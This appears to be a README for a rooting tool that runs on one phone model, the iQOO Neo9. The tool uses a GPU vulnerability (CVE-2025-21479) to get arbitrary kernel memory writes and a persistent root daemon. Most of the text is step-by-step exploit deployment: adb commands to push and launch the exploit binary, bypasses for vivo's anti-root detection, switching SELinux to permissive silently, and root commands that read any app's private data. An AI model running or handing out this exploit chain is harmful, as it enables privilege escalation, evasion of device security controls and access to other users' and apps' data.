
Ferramenta Caps-Root sem desbloqueio para iQOO Neo9 (PD2338C)** — esquema de escalonamento de privilégios por escrita física arbitrária baseado no CVE-2025-21479 (Adreno GPU SDS)
Ferramenta Caps-Root para iQOO Neo9 (PD2338C) sem desbloqueio — Esquema de escalonamento de privilégios por escrita física arbitrária baseado em CVE-2025-21479 (Adreno GPU SDS)
Sem necessidade de desbloquear o Bootloader, sem flashar, sem Magisk. Através da vulnerabilidade de GPU, obtém escrita física arbitrária em nível de kernel; após fazer patch em funções críticas do kernel, permanece como daemon root com capacidades completas (capabilities de 41 bits), fornecendo capacidade root para rootc / su.
Recurso principal: euid mantido em 2000 para contornar a detecção anti-root vr.ko da vivo (euid=0 aciona reinicialização do dispositivo); a capacidade root é equivalente a uid=0, mas a identidade do processo é segura.
CapEff: 000001ffffffffff (Capacidades completas de 41 bits), não é mascaramento em nível de aplicaçãovr.ko falha, zero travamentos no dispositivosu, MT Manager / Termux podem chamar diretamente| Item | Valor |
|---|---|
| Dispositivo | iQOO Neo9 (PD2338C) |
| Sistema | Android 15 |
| Kernel | 5.15.178-gaacdc35637c4-dirty (GKIv1) |
| GPU | Adreno 740 (A7xx) |
| Layout de memória | Sem KASLR físico (stext_pa=0xa8010000), VA com slide geral |
⚠️ A exploração depende do layout específico deste kernel (offsets de símbolos, recurso
VIVO_VMET_BREAK_KMI, comportamento dovr.ko), outros dispositivos/kernels exigem nova adaptação.
# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1
O script automaticamente: envia o pacote de três arquivos → reinicia para obter a janela fria → executa o exploit em várias rodadas (taxa de acerto ~50%/rodada) → daemon pronto → verificação.
# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"
# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...
# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"
# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功
# 简单命令
adb shell "/data/local/tmp/rootc id"
# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"
su -c "ls /data/adb" # 任意 root 命令
su -c "chown 0:0 /path/file" # 文件属主改为 root:root
su # 交互模式 (stdin 逐行)
Configuração do Termux: na primeira utilização, execute (com permissão root):
# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"
MT Manager: Configurações → ROOT → caminho su personalizado → /data/local/tmp/su
Os ambientes rootc/su mantêm deliberadamente euid=2000 (para evitar a detecção anti-root do vr.ko). Porém, drivers de algumas interfaces do kernel (como /proc/vrp, alguns nós sysfs) verificam current_euid()==0; mesmo com todas as capabilities não passam → nesse caso, use u0 para se elevar a root real através da CAP_SETUID do ambiente rootd:
# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"
# 用法: u0 <绝对路径程序> <参数...> (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ... ← 真 root 会话
setuid(0) não aciona o fatal do vr.ko (o processo principal do rootd permanece vivo com uid=0 por longo tempo; processos uid=0 não estão na lista de eliminação)/proc/vrp ainda retorna EPERM com uid=0 + todas as capabilities (o driver vrp possui verificação ativa de permissão, não é DAC/SELinux — engenharia reversa em andamento); insmod com uid=0 também aciona a reinicialização do dispositivo (a detecção de carregamento de módulo não verifica o uid do chamador)docs\u0_说明.md/data/local/tmp por padrão é drwxrwxrwt (1777, proprietário shell) — qualquer usuário pode ler/gravar na camada DAC. O que realmente bloqueia usuários comuns (domínio untrusted_app) é o SELinux (a política nega ao domínio de apps o acesso ao rótulo shell_data_file):
# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"
# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
# ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
# (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
# 物理写 permissive (run_selinux_rmw, 已内置在部署流程)
# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力
shell_data_file acessível apenas ao domínio shell); é restaurado após nova implantaçãosu -c "cat /data/local/tmp/xxx > /sdcard/xxx" como intermediário (apps acessam /sdcard sem problemas)su -c id # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status" # 000001ffffffffff = 全能力
su -c "ls /data/adb" # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x" # root 专属操作
su -c "head -5 /proc/iomem" # 内核物理内存布局
su -c "ls /data/data/<任意包名>" # 任意 app 私有数据